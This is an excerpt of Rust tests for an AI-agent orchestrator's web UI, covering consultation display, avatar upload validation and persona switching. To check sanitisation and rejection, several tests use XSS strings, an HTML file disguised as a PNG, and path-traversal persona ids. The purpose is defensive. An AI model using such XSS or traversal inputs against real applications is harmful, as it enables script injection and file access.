13897 ui.talks.get(&id).unwrap(),
13898 false,
13899 None,
13900 &ui.home,
13901 &ui.references,
13902 );
13903 assert_eq!(view.turn_messages_md[1][0], queued_md);
13904 assert_eq!(view.talk.turns[1].messages[0].display, Some(display));
13905 assert!(
13906 !view.talk.turns[2].messages[0]
13907 .reply
13908 .as_ref()
13909 .unwrap()
13910 .excerpt
13911 .contains("automatic report")
13912 );
13913 assert_eq!(ui.talks.get(&id).unwrap().turns[1].messages[0].body, body);
13914 }
13915
13916 #[tokio::test]
13917 async fn consultation_display_hides_directives_in_queue_and_history() {
13918 for node in [
13919 "implement",
13920 crate::land::APPROVAL_NODE,
13921 crate::github_text::ASK_NODE,
13922 ] {
13923 let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
13924 let mut question = Question::new(
13925 "run-123".into(),
13926 node.into(),
13927 "seat-1".into(),
13928 "Which backend?".into(),
13929 "## Context\n\nUse `storage`.\n\n<script>literal</script>".into(),
13930 vec!["SQLite".into(), "Redis".into()],
13931 );
13932 ui.questions.put(&mut question).unwrap();
13933 let body = crate::prompt::chat_consult(&question);
13934 let mut conversation = ui.talks.get(&id).unwrap();
13935 talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
13936 assert!(
13937 crate::consult::begin(&ui.questions, &ui.talks, &question, &conversation).unwrap()
13938 );
13939 conversation = ui.talks.get(&id).unwrap();
13940 assert_eq!(conversation.pending_messages[0].body, body);
13941 assert!(body.contains("magi answer"));
13942 let mut legacy_pending = conversation.clone();
13943 legacy_pending.pending_messages[0].display = None;
13944 let legacy_view =
13945 TalkView::with_config(legacy_pending, false, None, &ui.home, &ui.references);
13946 let legacy_md = serde_json::to_string(&legacy_view.pending_messages_md[0]).unwrap();
13947 assert!(legacy_md.contains("Question consultation"));
13948 assert!(!legacy_md.contains("magi answer"));
13949 let view =
13950 TalkView::with_config(conversation.clone(), false, None, &ui.home, &ui.references);
13951 assert!(
13952 view.turn_messages_md[0][0].is_none(),
13953 "operator copy stays literal"
13954 );
13955 let queued_md = view.pending_messages_md[0].clone().unwrap();
13956 let rendered = serde_json::to_string(&queued_md).unwrap();
13957 for visible in [
13958 "Which backend?",
13959 "Context",
13960 "storage",
13961 "SQLite",
13962 "Redis",
13963 "<script>literal</script>",
13964 ] {
13965 assert!(rendered.contains(visible), "missing {visible}");
13966 }
13967 for directive in [
13968 "What to do",
13969 "magi answer",
13970 "Never answer it yourself",
13971 "Do not edit the repository",
13972 ] {
13973 assert!(!rendered.contains(directive), "exposed {directive}");
13974 }
13975 assert_eq!(
13976 view.talk.pending_messages[0].display,
13977 Some(crate::prompt::chat_consult_display(&question))
13978 );
13979 talk::drain(&mut conversation, &ui.talks).unwrap();
13980 let view =
13981 TalkView::with_config(conversation.clone(), false, None, &ui.home, &ui.references);
13982 assert_eq!(view.turn_messages_md[1][0], Some(queued_md));
13983 assert_eq!(conversation.turns[1].messages[0].body, body);
13984
13985 conversation.turns[1].messages[0].display = None;
13988 let view = TalkView::with_config(conversation, false, None, &ui.home, &ui.references);
13989 let legacy = serde_json::to_string(&view.turn_messages_md[1][0]).unwrap();
13990 assert!(legacy.contains("Question consultation"));
13991 assert!(!legacy.contains("magi answer"));
13992 assert!(notice_markdown(talk::Sender::Magi, &body, None).is_none());
13993 }
13994 }
13995
13996 #[test]
13997 fn notification_markdown_uses_only_visible_facts_and_explicit_provenance() {
13998 let facts = "# Update\n\n- `task` [PR](https://example.org)\n\n```sh\necho ok\n```\n\n<script>alert(1)</script>\n\n[bad](javascript:alert(1))";
13999 let (body, mut display) =
14000 crate::prompt::chat_watch_report("watch-123", "failed", "<script>untrusted</script>");
14001 display.facts = facts.into();
14002 let nodes = notice_markdown(talk::Sender::Magi, &body, Some(&display)).unwrap();
14003 assert_eq!(nodes, md::to_nodes(facts, &md::ImageBase::None));
14004 let json = serde_json::to_string(&nodes).unwrap();
14005 for kind in ["heading", "bullet_list", "code", "link", "code_block"] {
14006 assert!(json.contains(&format!("\"type\":\"{kind}\"")));
14007 }
14008 assert!(json.contains("<script>alert(1)</script>"));
14009 assert!(!json.contains("javascript:"));
14010 assert!(!json.contains("Tell the operator"));
14011 assert!(!json.contains("untrusted"));
14012 assert!(notice_markdown(talk::Sender::Operator, facts, None).is_none());
14013 assert!(notice_markdown(talk::Sender::Operator, &body, Some(&display)).is_none());
14014 assert!(notice_markdown(talk::Sender::Magi, &body, None).is_none());
14015 assert_eq!(
14016 notice_markdown(talk::Sender::Magi, "magi: # Status", None).unwrap(),
14017 md::to_nodes("# Status", &md::ImageBase::None),
14018 );
14019 }
14020
14021 #[tokio::test]
14022 async fn notification_display_recovers_exact_legacy_completion_references() {
14023 let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
14024 let mut conversation = ui.talks.get(&id).unwrap();
14025 let (body, display) = crate::prompt::chat_task_report(&crate::prompt::ChatTaskNotice {
14026 id: "task-123",
14027 title: "Change",
14028 status: "done",
14029 reason: None,
14030 run: Some("run-123"),
14031 pr: None,
14032 summary: Some("Merge state unknown"),
14033 });
14034 talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
14035 conversation.turns[0].sender = None;
14036 conversation.turns[0].messages.clear();
14037 conversation.turns[0].breaks = None;
14038 conversation.pending = body.clone();
14039 conversation
14040 .completion_notices
14041 .push(crate::chat_notify::CompletionReference {
14042 task: "task-123".into(),
14043 run: Some("run-123".into()),
14044 notice: body.clone(),
14045 });
14046 ui.talks.put(&mut conversation).unwrap();
14047 let view = TalkView::with_config(
14048 ui.talks.get(&id).unwrap(),
14049 false,
14050 None,
14051 &ui.home,
14052 &ui.references,
14053 );
14054 assert_eq!(
14055 view.talk.turns[0].messages[0].display,
14056 Some(display.clone())
14057 );
14058 assert_eq!(view.talk.pending_messages[0].display, Some(display));
14059 assert_eq!(
14060 view.talk.turns[0].messages[0].sender,
14061 Some(talk::Sender::Magi)
14062 );
14063 assert!(ui.talks.get(&id).unwrap().turns[0].messages.is_empty());
14064 conversation.completion_notices[0]
14065 .notice
14066 .push_str("different");
14067 let view = TalkView::with_config(conversation, false, None, &ui.home, &ui.references);
14068 assert!(view.talk.turns[0].messages.is_empty());
14069 assert!(view.talk.pending_messages.is_empty());
14070 }
14071
14072 #[tokio::test]
14073 async fn avatar_settings_report_states_and_inherit_after_corruption() {
14074 let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
14075 let (_tmp, home, ui, _, _) = avatar_fixture(&format!(
14076 "[[talk.personas]]\nid = \"rei\"\nicon = \"{icon}\"\n"
14077 ))
14078 .await;
14079 let path = avatar_setting_path(home.path(), Some("rei"));
14080 let orphan = avatar_setting_path(home.path(), Some("removed"));
14081 save_icon_file(&orphan, icon).unwrap();
14082 for (saved, expected) in [
14083 (icon, "custom"),
14084 ("builtin", "builtin"),
14085 ("data:image/png;base64,!!!!", "inherit"),
14086 ("data:image/png;base64,PGh0bWw+", "inherit"),
14087 ("/tmp/avatar.png", "inherit"),
14088 ] {
14089 atomic_icon_write(&path, saved).unwrap();
14090 let catalog =
14091 avatar_settings_get(State(ui.clone()), Query(AvatarSettingsQuery::default()))
14092 .await
14093 .unwrap()
14094 .0;
14095 let personas = catalog["personas"].as_array().unwrap();
14096 let rei = personas.iter().find(|p| p["id"] == "rei").unwrap();
14097 assert_eq!(rei["override_state"], expected);
14098 assert_eq!(rei["has_config_icon"], true);
14099 assert_eq!(rei["is_orphan"], false);
14100 let removed = personas.iter().find(|p| p["id"] == "removed").unwrap();
14101 assert_eq!(removed["override_state"], "custom");
14102 assert_eq!(removed["is_orphan"], true);
14103 let default = personas.iter().find(|p| p["id"] == "default").unwrap();
14104 assert_eq!(default["override_state"], "inherit");
14105 assert_eq!(default["has_config_icon"], false);
14106 let effective = effective_persona_icon(home.path(), "rei", Some(icon));
14107 assert_eq!(
14108 effective.as_deref(),
14109 Some(if expected == "builtin" { "" } else { icon })
14110 );
14111 }
14112 }
14113
14114 #[tokio::test]
14115 async fn avatar_settings_persist_reset_isolate_and_reject_invalid_images() {
14116 let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
14117 let (_tmp, home, ui, id, repo) = avatar_fixture(&format!(
14118 "[[talk.personas]]\nid = \"rei\"\nicon = \"{icon}\"\n\n[[talk.personas]]\nid = \"custom\"\nname = \"Custom\"\nprompt = \"Stay concise\"\n"
14119 ))
14120 .await;
14121 let target = |id: Option<&str>| AvatarSettingsQuery {
14122 persona: id.map(str::to_owned),
14123 ..Default::default()
14124 };
14125 let original_config = config_for(&repo).await.unwrap();
14126 let original_persona = persona::find(&original_config.talk.personas, "rei").unwrap();
14127 let original_prompt = persona::section_for(&original_persona, None);
14128 let before = talk_detail(State(ui.clone()), Path(id.clone()))
14129 .await
14130 .unwrap()
14131 .0;
14132 for persona in [None, Some("rei"), Some("magi"), Some("../custom/日本語")] {
14133 let _ = avatar_settings_put(
14134 State(ui.clone()),
14135 Query(target(persona)),
14136 Json(MagiIconUpload { icon: icon.into() }),
14137 )
14138 .await
14139 .unwrap();
14140 let path = avatar_setting_path(home.path(), persona);
14141 assert!(path.starts_with(home.path().join("avatars")));
14142 assert_eq!(read_icon_file(&path).as_deref(), Some(icon));
14143 for bad in [
14144 "/tmp/image.png".to_owned(),
14145 "data:image/png;base64,!!!!".to_owned(),
14146 "data:image/png;base64,PGh0bWw+".to_owned(),
14147 "data:image/svg+xml;base64,PHN2Zz4=".to_owned(),
14148 format!(
14149 "data:image/png;base64,{}",
14150 "A".repeat(persona_icon::ICON_MAX_BYTES)
14151 ),
14152 ] {
14153 assert!(
14154 avatar_settings_put(
14155 State(ui.clone()),
14156 Query(target(persona)),
14157 Json(MagiIconUpload { icon: bad })
14158 )
14159 .await
14160 .is_err()
14161 );
14162 assert_eq!(read_icon_file(&path).as_deref(), Some(icon));
14163 }
14164 }
14165 assert!(read_magi_icon(home.path()).is_none());
14166 assert!(effective_persona_icon(home.path(), "asuka", None).is_none());
14167 let after = talk_detail(State(ui.clone()), Path(id.clone()))
14168 .await
14169 .unwrap()
14170 .0;
14171 assert_ne!(before.view.operator_avatar, after.view.operator_avatar);
14172 assert_ne!(
14173 before
14174 .personas
14175 .iter()
14176 .find(|p| p.id == "magi")
14177 .unwrap()
14178 .avatar,
14179 after
14180 .personas
14181 .iter()
14182 .find(|p| p.id == "magi")
14183 .unwrap()
14184 .avatar
14185 );
14186 let restarted = Arc::new(Ui::new(
14187 Queue::at(home.path().join("queue")),
14188 Questions::at(home.path().join("questions")),
14189 Talks::at(home.path().join("talks")),
14190 home.path().join("runs"),
14191 home.path().to_owned(),
14192 repo,
14193 ));
14194 let catalog = avatar_settings_get(State(restarted.clone()), Query(target(None)))
14195 .await
14196 .unwrap()
14197 .0;
14198 assert!(
14199 catalog["personas"]
14200 .as_array()
14201 .unwrap()
14202 .iter()
14203 .any(|p| p["id"] == "../custom/日本語")
14204 );
14205 for expected in ["custom", "default", "rei"] {
14206 assert!(
14207 catalog["personas"]
14208 .as_array()
14209 .unwrap()
14210 .iter()
14211 .any(|p| p["id"] == expected)
14212 );
14213 }
14214 let response =
14215 operator_avatar(State(restarted.clone()), Query(AvatarQuery::default())).await;
14216 assert_eq!(response.headers()[header::CONTENT_TYPE], "image/png");
14217 let _ = avatar_settings_delete(State(restarted.clone()), Query(target(Some("rei"))))
14218 .await
14219 .unwrap();
14220 assert_eq!(
14221 effective_persona_icon(home.path(), "rei", Some(icon)),
14222 Some(String::new())
14223 );
14224 let response = talk_avatar(
14225 State(restarted.clone()),
14226 Path(id.clone()),
14227 Query(AvatarQuery {
14228 persona: Some("rei".into()),
14229 ..Default::default()
14230 }),
14231 )
14232 .await
14233 .unwrap();
14234 assert_eq!(response.headers()[header::CONTENT_TYPE], "image/svg+xml");
14235 let reset = talk_detail(State(restarted.clone()), Path(id.clone()))
14236 .await
14237 .unwrap()
14238 .0;
14239 assert_ne!(
14240 after
14241 .personas
14242 .iter()
14243 .find(|p| p.id == "rei")
14244 .unwrap()
14245 .avatar,
14246 reset
14247 .personas
14248 .iter()
14249 .find(|p| p.id == "rei")
14250 .unwrap()
14251 .avatar
14252 );
14253 let mut inherit = target(Some("rei"));
14254 inherit.inherit = Some("1".into());
14255 let _ = avatar_settings_delete(State(restarted.clone()), Query(inherit))
14256 .await
14257 .unwrap();
14258 assert_eq!(
14259 effective_persona_icon(home.path(), "rei", Some(icon)).as_deref(),
14260 Some(icon)
14261 );
14262 let _ = avatar_settings_delete(State(restarted.clone()), Query(target(None)))
14263 .await
14264 .unwrap();
14265 assert_eq!(operator_icon_url(home.path()), before.view.operator_avatar);
14266 assert_eq!(
14267 read_icon_file(&avatar_setting_path(home.path(), Some("magi"))).as_deref(),
14268 Some(icon)
14269 );
14270 let cfg = config_for(&ui.repo).await.unwrap();
14272 let resolved = persona::find(&cfg.talk.personas, "rei").unwrap();
14273 assert_eq!(persona::section_for(&resolved, None), original_prompt);
14274 assert!(!original_prompt.contains("data:image"));
14275 assert_eq!(ui.talks.get(&id).unwrap().persona, before.view.talk.persona);
14276 let stored = serde_json::to_string(&ui.talks.get(&id).unwrap()).unwrap();
14277 assert!(!stored.contains("data:image"));
14278 let mut orphan = ui.talks.get(&id).unwrap();
14279 orphan.persona = "../custom/日本語".into();
14280 let view = TalkView::with_config(
14281 orphan,
14282 false,
14283 Some(&cfg),
14284 home.path(),
14285 &id_links::IndexCache::default(),
14286 );
14287 assert!(view.persona_avatar.contains("persona=..%2Fcustom%2F"));
14288 }
14289
14290 #[tokio::test]
14291 async fn magi_icon_saves_resets_revalidates_and_refreshes_cache() {
14292 let (_tmp, home, ui, id, repo) = avatar_fixture("").await;
14293 let original = magi_icon_get(State(ui.clone())).await.0["avatar"].clone();
14294 let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
14295 let _ = magi_icon_put(
14296 State(ui.clone()),
14297 Json(MagiIconUpload { icon: icon.into() }),
14298 )
14299 .await
14300 .unwrap();
14301 let changed = magi_icon_get(State(ui.clone())).await.0["avatar"].clone();
14302 assert_ne!(original, changed);
14303 assert_eq!(read_magi_icon(home.path()).as_deref(), Some(icon));
14304 let response = magi_avatar(
14305 State(ui.clone()),
14306 Query(AvatarQuery {
14307 persona: None,
14308 builtin: None,
14309 }),
14310 )
14311 .await;
14312 assert_eq!(response.headers()[header::CONTENT_TYPE], "image/png");
14313 assert_eq!(response.headers()[header::CACHE_CONTROL], "no-cache");
14314 assert_eq!(
14315 response.headers()[header::X_CONTENT_TYPE_OPTIONS],
14316 "nosniff"
14317 );
14318 for bad in [
14319 "data:image/png;base64,PGh0bWw+".to_owned(),
14320 "data:image/svg+xml;base64,PHN2Zz4=".to_owned(),
14321 "A".repeat(persona_icon::ICON_MAX_BYTES + 1),
14322 ] {
14323 assert!(save_magi_icon(home.path(), &bad).is_err());
14324 assert_eq!(read_magi_icon(home.path()).as_deref(), Some(icon));
14325 }
14326 let restarted = Arc::new(Ui::new(
14328 Queue::at(home.path().join("queue")),
14329 Questions::at(home.path().join("questions")),
14330 Talks::at(home.path().join("talks")),
14331 home.path().join("runs"),
14332 home.path().to_path_buf(),
14333 repo,
14334 ));
14335 assert_eq!(
14336 magi_icon_get(State(restarted.clone())).await.0["avatar"],
14337 changed
14338 );
14339 let view = TalkView::with_config(
14340 restarted.talks.get(&id).unwrap(),
14341 false,
14342 None,
14343 &restarted.home,
14344 &restarted.references,
14345 );
14346 assert_eq!(view.magi_avatar, changed.as_str().unwrap());
14347 std::fs::write(magi_icon_path(home.path()), "invalid").unwrap();
14348 let response = magi_avatar(
14349 State(ui.clone()),
14350 Query(AvatarQuery {
14351 persona: None,
14352 builtin: None,
14353 }),
14354 )
14355 .await;
14356 let bytes = axum::body::to_bytes(response.into_body(), usize::MAX)
14357 .await
14358 .unwrap();
14359 assert_eq!(bytes.as_ref(), persona_icon::magi_svg().as_bytes());
14360 let _ = magi_icon_delete(State(ui.clone())).await.unwrap();
14361 assert_eq!(magi_icon_get(State(ui.clone())).await.0["avatar"], original);
14362 let _ = magi_icon_delete(State(ui)).await.unwrap();
14363 }
14364
14365 async fn avatar(
14367 ui: &Arc<Ui>,
14368 id: &str,
14369 persona: Option<&str>,
14370 builtin: bool,
14371 ) -> (StatusCode, String, bool, bool, Vec<u8>) {
14372 let res = talk_avatar(
14373 State(Arc::clone(ui)),
14374 Path(id.to_owned()),
14375 Query(AvatarQuery {
14376 persona: persona.map(str::to_owned),
14377 builtin: builtin.then(|| "1".to_owned()),
14378 }),
14379 )
14380 .await
14381 .expect("an avatar is never an error response");
14382 let h = res.headers();
14383 let ct = h[header::CONTENT_TYPE].to_str().unwrap().to_owned();
14384 let nosniff = h
14385 .get(header::X_CONTENT_TYPE_OPTIONS)
14386 .is_some_and(|v| v == "nosniff");
14387 let csp = h.contains_key(header::CONTENT_SECURITY_POLICY);
14388 let status = res.status();
14389 let body = axum::body::to_bytes(res.into_body(), usize::MAX)
14390 .await
14391 .expect("body")
14392 .to_vec();
14393 (status, ct, nosniff, csp, body)
14394 }
14395
14396 fn tiny_png() -> Vec<u8> {
14397 let mut b = b"\x89PNG\r\n\x1a\n".to_vec();
14398 b.extend_from_slice(&[0u8; 32]);
14399 b
14400 }
14401
14402 #[tokio::test]
14403 async fn operator_avatar_is_distinct_svg_with_a_locked_down_policy() {
14404 let (_tmp, _home, ui, _id, _repo) = avatar_fixture("").await;
14405 let res = operator_avatar(State(ui), Query(AvatarQuery::default())).await;
14406 assert_eq!(res.status(), StatusCode::OK);
14407 assert_eq!(res.headers()[header::CONTENT_TYPE], "image/svg+xml");
14408 assert_eq!(res.headers()[header::X_CONTENT_TYPE_OPTIONS], "nosniff");
14409 assert_eq!(res.headers()[header::CONTENT_SECURITY_POLICY], AVATAR_CSP);
14410 assert_eq!(res.headers()[header::CACHE_CONTROL], "no-cache");
14411 let body = axum::body::to_bytes(res.into_body(), usize::MAX)
14412 .await
14413 .unwrap();
14414 assert_eq!(body.as_ref(), persona_icon::operator_svg().as_bytes());
14415 assert_ne!(
14416 persona_icon::operator_svg(),
14417 persona_icon::builtin_svg("default")
14418 );
14419 }
14420
14421 #[tokio::test]
14422 async fn builtin_avatars_are_svg_with_a_locked_down_policy() {
14423 let (_t, _h, ui, id, _repo) = avatar_fixture("").await;
14424 for p in [
14425 "default", "magi", "rei", "misato", "ritsuko", "shinji", "asuka", "kaworu",
14426 ] {
14427 let (status, ct, nosniff, csp, body) = avatar(&ui, &id, Some(p), false).await;
14428 assert_eq!(status, StatusCode::OK, "{p}");
14429 assert_eq!(ct, "image/svg+xml", "{p}");
14430 assert!(nosniff && csp, "{p}");
14431 assert!(String::from_utf8(body).unwrap().starts_with("<svg"), "{p}");
14432 }
14433 let own = avatar(&ui, &id, None, false).await;
14435 let default = avatar(&ui, &id, Some("default"), false).await;
14436 assert_eq!(own.4, default.4);
14437 let unknown = avatar(&ui, &id, Some("nobody"), false).await;
14438 assert_eq!(unknown.1, "image/svg+xml");
14439 }
14440
14441 #[tokio::test]
14442 async fn a_configured_raster_icon_is_served_and_bad_ones_fall_back() {
14443 let dir = TempDir::new().expect("icons");
14444 let good = dir.path().join("good.png");
14445 std::fs::write(&good, tiny_png()).unwrap();
14446 let spoof = dir.path().join("spoof.png");
14447 std::fs::write(&spoof, b"<html><script>alert(1)</script></html>").unwrap();
14448 let big = dir.path().join("big.png");
14449 let mut bytes = tiny_png();
14450 bytes.resize(persona_icon::ICON_MAX_BYTES + 1, 0);
14451 std::fs::write(&big, bytes).unwrap();
14452 let missing = dir.path().join("missing.png");
14453 let uri = |p: &FsPath| p.to_string_lossy().replace('\\', "/");
14454 let extra = format!(
14455 "[[talk.personas]]\nid = \"rei\"\nicon = \"{}\"\n\
14456 [[talk.personas]]\nid = \"misato\"\nicon = \"{}\"\n\
14457 [[talk.personas]]\nid = \"asuka\"\nicon = \"{}\"\n\
14458 [[talk.personas]]\nid = \"shinji\"\nicon = \"{}\"\n\
14459 [[talk.personas]]\nid = \"kaworu\"\nicon = \"data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=\"\n\
14460 [[talk.personas]]\nid = \"magi\"\nicon = \"data:image/png;base64,PGh0bWw+\"\n",
14461 uri(&good),
14462 uri(&spoof),
14463 uri(&big),
14464 uri(&missing),
14465 );
14466 let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
14467
14468 let (status, ct, nosniff, _, body) = avatar(&ui, &id, Some("rei"), false).await;
14469 assert_eq!(
14470 (status, ct.as_str(), nosniff),
14471 (StatusCode::OK, "image/png", true)
14472 );
14473 assert_eq!(body, tiny_png());
14474 let (_, ct, _, _, _) = avatar(&ui, &id, Some("kaworu"), false).await;
14475 assert_eq!(ct, "image/png", "data URI");
14476
14477 for p in ["misato", "asuka", "shinji", "magi"] {
14478 let (status, ct, _, csp, body) = avatar(&ui, &id, Some(p), false).await;
14479 assert_eq!(
14480 (status, ct.as_str(), csp),
14481 (StatusCode::OK, "image/svg+xml", true),
14482 "{p}"
14483 );
14484 assert!(body.starts_with(b"<svg"), "{p}");
14485 }
14486 let (_, ct, _, _, _) = avatar(&ui, &id, Some("rei"), true).await;
14488 assert_eq!(ct, "image/svg+xml");
14489 }
14490
14491 #[tokio::test]
14492 async fn invalid_icons_keep_the_catalog_and_persona_switch_usable() {
14493 let oversized = format!(
14494 "data:image/png;base64,{}",
14495 "A".repeat(persona_icon::ICON_MAX_BYTES)
14496 );
14497 for bad in ["", "/images/avatar.svg", "/a/../b.png", &oversized] {
14498 let extra = format!(
14499 "[[talk.personas]]\nid = \"custom\"\nname = \"Custom\"\nprompt = \"Keep calm\"\nicon = \"{bad}\"\n"
14500 );
14501 let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
14502 let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
14503 .await
14504 .expect("detail with invalid icon");
14505 assert!(detail.personas.iter().any(|p| p.id == "custom"));
14506 let (status, ct, _, _, body) = avatar(&ui, &id, Some("custom"), false).await;
14507 assert_eq!(status, StatusCode::OK);
14508 assert_eq!(ct, "image/svg+xml");
14509 assert_eq!(body, persona_icon::builtin_svg("custom").as_bytes());
14510 let Json(view) = talk_persona(
14511 State(Arc::clone(&ui)),
14512 Path(id.clone()),
14513 Json(TalkPersona {
14514 persona: "custom".into(),
14515 }),
14516 )
14517 .await
14518 .expect("persona switch with invalid icon");
14519 assert_eq!(view.talk.persona, "custom");
14520 assert_eq!(ui.talks.get(&id).unwrap().persona, "custom");
14521 }
14522 }
14523
14524 #[tokio::test]
14525 async fn an_unreadable_config_still_gets_the_builtin_avatar() {
14526 let (_t, _h, ui, id, repo) = avatar_fixture("").await;
14527 std::fs::write(repo.join("magi.toml"), "this is not valid TOML").unwrap();
14528 let (status, ct, nosniff, csp, _) = avatar(&ui, &id, Some("rei"), false).await;
14529 assert_eq!(
14530 (status, ct.as_str(), nosniff, csp),
14531 (StatusCode::OK, "image/svg+xml", true, true)
14532 );
14533 }
14534
14535 #[tokio::test]
14536 async fn the_talk_view_carries_server_built_avatar_urls_only() {
14537 let (_t, _h, ui, id, _repo) =
14538 avatar_fixture("[[talk.personas]]\nid = \"rei\"\nicon = \"~/secret/rei.png\"\n").await;
14539 let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
14540 .await
14541 .expect("detail");
14542 let json = serde_json::to_string(&detail).unwrap();
14543 assert!(
14544 !json.contains("secret"),
14545 "the icon setting must not leak: {json}"
14546 );
14547 assert!(
14548 detail
14549 .view
14550 .persona_avatar
14551 .starts_with(&format!("/api/talks/{id}/avatar?persona=default&v="))
14552 );
14553 assert_eq!(
14554 detail.view.operator_avatar,
14555 format!(
14556 "/avatars/operator.svg?v={}",
14557 persona_icon::fingerprint(Some(persona_icon::operator_svg()))
14558 )
14559 );
14560 assert!(!detail.personas.iter().any(|p| p.id == "operator"));
14561 let rei = detail.personas.iter().find(|p| p.id == "rei").unwrap();
14562 let plain = detail.personas.iter().find(|p| p.id == "asuka").unwrap();
14563 assert!(rei.avatar.contains("persona=rei&v="));
14564 assert_ne!(
14565 rei.avatar.split("&v=").nth(1),
14566 plain.avatar.split("&v=").nth(1)
14567 );
14568 }
14569
14570 #[tokio::test]
14571 async fn empty_settings_turn_releases_inline_only_for_unchanged_generation() {
14572 let (_t, _h, ui, id, repo) = avatar_fixture("").await;
14573 let cfg = config_for(&repo).await.unwrap();
14574 for arrived in [false, true] {
14575 let turn = ui.begin_talk_turn(&id).unwrap().unwrap();
14576 let observed = ui.queued_generation(&id);
14577 let talk = ui.talks.get(&id).unwrap();
14578 if arrived {
14579 assert!(ui.begin_queued_talk_turn(&id).unwrap().is_none());
14580 }
14581 let mut settling = std::pin::pin!(settle_settings_turn(
14582 talk,
14583 ui.talks.clone(),
14584 cfg.clone(),
14585 id.clone(),
14586 turn,
14587 observed
14588 ));
14589 let mut cx = std::task::Context::from_waker(std::task::Waker::noop());
14590 let first = std::future::Future::poll(settling.as_mut(), &mut cx);
14591 assert_eq!(first.is_pending(), arrived);
14592 if arrived {
14593 assert!(!settling.await);
14594 }
14595 assert!(!ui.is_thinking(&id));
14596 }
14597 }
14598
14599 #[tokio::test]
14600 async fn talk_persona_round_trips_and_refuses_unknown_busy_or_closed() {
14601 let tmp = TempDir::new().expect("tempdir");
14602 let repo = tmp.path().join("repo");
14603 std::fs::create_dir_all(&repo).expect("repo dir");
14604 std::fs::write(
14605 repo.join("magi.toml"),
14606 format!(
14607 "{MOCK_AGENT_TOML}\n[[talk.personas]]\nid = \"gendo\"\nname = \"Gendo\"\nprompt = \"Be cold.\"\n"
14608 ),
14609 )
14610 .expect("write magi.toml");
14611 let home = TempDir::new().expect("temp home");
14612 let talks = Talks::at(home.path().join("talks"));
14613 let ui = Arc::new(
14614 Ui::new(
14615 Queue::at(home.path().join("queue")),
14616 Questions::at(home.path().join("questions")),
14617 talks.clone(),
14618 home.path().join("runs"),
14619 home.path().to_path_buf(),
14620 repo.clone(),
14621 )
14622 .with_worktrees_root(home.path().join("wt")),
14623 );
14624 let cfg = config_for(&repo).await.expect("discover config");
14625 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
14626 let id = talk.id.clone();
14627 let call = |persona: &str| {
14628 talk_persona(
14629 State(Arc::clone(&ui)),
14630 Path(id.clone()),
14631 Json(TalkPersona {
14632 persona: persona.to_owned(),
14633 }),
14634 )
14635 };
14636
14637 let unknown = call("nobody").await.expect_err("unknown persona");
14638 assert_eq!(
14639 unknown.status,
14640 StatusCode::BAD_REQUEST,
14641 "{}",
14642 unknown.message
14643 );
14644
14645 {
14646 let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
14649 let busy = call("rei").await.expect_err("busy talk");
14650 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
14651 assert!(
14652 busy.message.contains("a talk turn is running"),
14653 "{}",
14654 busy.message
14655 );
14656 drop(guard);
14657 }
14658 assert_eq!(talks.get(&id).expect("reload").persona, "");
14659
14660 let Json(view) = call("gendo").await.expect("switch to a configured persona");
14661 assert_eq!(view.talk.persona, "gendo");
14662 assert_eq!(talks.get(&id).expect("reload").persona, "gendo");
14663 assert!(!ui.is_thinking(&id), "idle response must release the claim");
14664 for chosen in ["default", "gendo", "rei", "gendo"] {
14666 let Json(view) = call(chosen).await.expect("immediate consecutive change");
14667 assert!(!view.thinking);
14668 assert!(!ui.is_thinking(&id));
14669 }
14670
14671 let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
14672 .await
14673 .expect("detail");
14674 let ids: Vec<&str> = detail.0.personas.iter().map(|p| p.id.as_str()).collect();
14675 assert_eq!(ids.first(), Some(&"default"));
14676 assert!(ids.contains(&"rei") && ids.contains(&"gendo"));
14677
14678 let Json(view) = call("default").await.expect("back to default");
14679 assert_eq!(view.talk.persona, "");
14680
14681 let mut closed = talks.get(&id).expect("reload");
14682 talk::close(&mut closed, &talks).expect("close");
14683 let refused = call("rei").await.expect_err("closed talk");
14684 assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
14685 assert!(
14686 refused.message.contains("takes no more turns"),
14687 "{}",
14688 refused.message
14689 );
14690 }
14691
14692 #[tokio::test]
14693 async fn talk_detail_lists_the_tasks_it_has_filed_and_stays_open() {
14694 let f = Fixture::start().await;
14695 let talk_id = seed_talk(&f, "20260904-014455-ab12", "open");
14696 let queue = f.queue();
14697 let mut mine = Task::new(
14698 "rename the loader".to_owned(),
14699 "rename the loader".to_owned(),
14700 PathBuf::from("/repo/magi"),
14701 Source::Agent {
14702 run: talk_id.clone(),
14703 node: "chat".to_owned(),
14704 },
14705 );
14706 let empty = f.get(&format!("/api/talks/{talk_id}")).await.json();
14707 assert_eq!(empty["task_progress"]["state"], "none");
14708 assert_eq!(empty["task_progress"]["total"], 0);
14709 queue.put(&mut mine).expect("file the task");
14710 let mut theirs = Task::new(
14711 "unrelated".to_owned(),
14712 "unrelated".to_owned(),
14713 PathBuf::from("/repo/magi"),
14714 Source::Human,
14715 );
14716 theirs.origin_chat = Some(talk_id.clone());
14718 queue.put(&mut theirs).expect("file the task");
14719
14720 let res = f.get(&format!("/api/talks/{talk_id}")).await;
14721 assert_eq!(res.status, 200, "{}", res.body);
14722 let body = res.json();
14723 assert_eq!(
14724 body["status"], "open",
14725 "filing a task does not close a talk"
14726 );
14727 let tasks = body["tasks"].as_array().expect("tasks array");
14728 assert_eq!(tasks.len(), 1, "only this talk's own task is listed");
